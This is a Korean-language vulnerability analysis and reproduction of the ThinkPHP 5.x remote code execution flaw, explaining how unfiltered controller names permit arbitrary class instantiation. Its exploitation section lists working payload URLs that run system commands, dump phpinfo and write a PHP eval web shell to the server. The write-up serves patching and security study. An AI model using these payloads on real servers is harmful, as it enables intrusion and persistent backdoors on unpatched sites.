0x00 서문
ThinkPHP는 2018년 12월 9일에 심각한 원격 코드 실행 취약점을 수정한 중요한 보안 업데이트를 공식 출시했습니다. 이 업데이트는 주로 보안 업데이트와 관련되어 있으며, 프레임워크는 컨트롤러 이름에 대해 충분한 감지를 수행하지 않으므로 강제 라우팅이 활성화되지 않은 경우 getshell 취약점이 발생할 수 있습니다. 해당 버전에는 5.0 및 5.1이 포함됩니다. 가능한 한 빨리 최신 버전으로 업데이트하세요.
0x01 영향 범위
5.x
0x02 취약점 분석
Thinkphp v5.0.x 패치 주소: https://github. com /top-think/framework/com...
Thinkphp v5.1.x 패치 주소: https://github.com/top-think/framework/com...
라우팅 정보의 컨트롤러 부분적으로 필터링한 결과, 경로 스케줄링 중에 문제가 발생하는 것을 알 수 있습니다.
키 코드:
수리 전에는 프로그램이 컨트롤러를 필터링하지 않았으므로 공격자가 기호를 도입하여 임의의 클래스 메서드를 호출할 수 있었습니다.
$this->app->controller 메소드는 컨트롤러를 인스턴스화한 다음 인스턴스에서 메소드를 호출하는 데 사용됩니다. 컨트롤러 메소드에 대한 후속 조치:
parseModuleAndClass 메소드를 사용하여 $module 및 $class를 구문 분석한 다음 $class를 인스턴스화합니다.
parseModuleAndClass 메서드에서 $name이 백슬래시로 시작하면 클래스 이름으로 바로 사용됩니다. 네임스페이스의 특성을 활용하여 여기에서 $name(즉, 경로의 컨트롤러 부분)을 제어할 수 있으면 모든 클래스를 인스턴스화할 수 있습니다.
그럼 라우팅 파싱 코드를 다시 살펴보겠습니다. 그 중, Route/dispatch/Url.php::parseUrl 메소드는 pathinfo의 라우팅 정보를 파싱하기 위해 path/Rule.php::parseUrlPath를 호출합니다. 코드는 비교적 간단합니다. .
라우팅 URL은 Request::path()에서 얻습니다.
var_pathinfo의 기본 구성이 s이므로 $_GET ['s']를 사용하여 라우팅 정보를 전달하거나 pathinfo를 사용하여 전달할 수 있습니다. 그러나 테스트 중에 Windows 환경에서는 $_SERVER ['pathinfo']를 /로 바꿉니다. 이전 분석과 결합하면 index.php?s=index/namespaceclass/method와 같은 예비 활용 코드를 얻을 수 있으며, 이는 네임스페이스클래스 클래스를 인스턴스화하고 메소드 메소드를 실행합니다.
0x03 취약점 악용
docker 취약점 환경 소스 코드:https://github.com/vulnspy/thinkphp-5.1.29
로컬 환경: thinkphp5.0.15+php5.6n+ apache2.0http://www.thinkphp.cn/donate/download/id/...
1. 시스템 기능을 이용해 원격 명령을 실행http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
2.phpinfo를 통해 phpinfo()의 정보를 작성합니다. function
http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
3. 쉘 작성:
http://localhost:9096/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php
또는
http://localhost:9096/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php echo 'ok';?>
위 내용은 ThinkPHP 5.x 원격 명령 실행 취약점 분석 및 재현의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!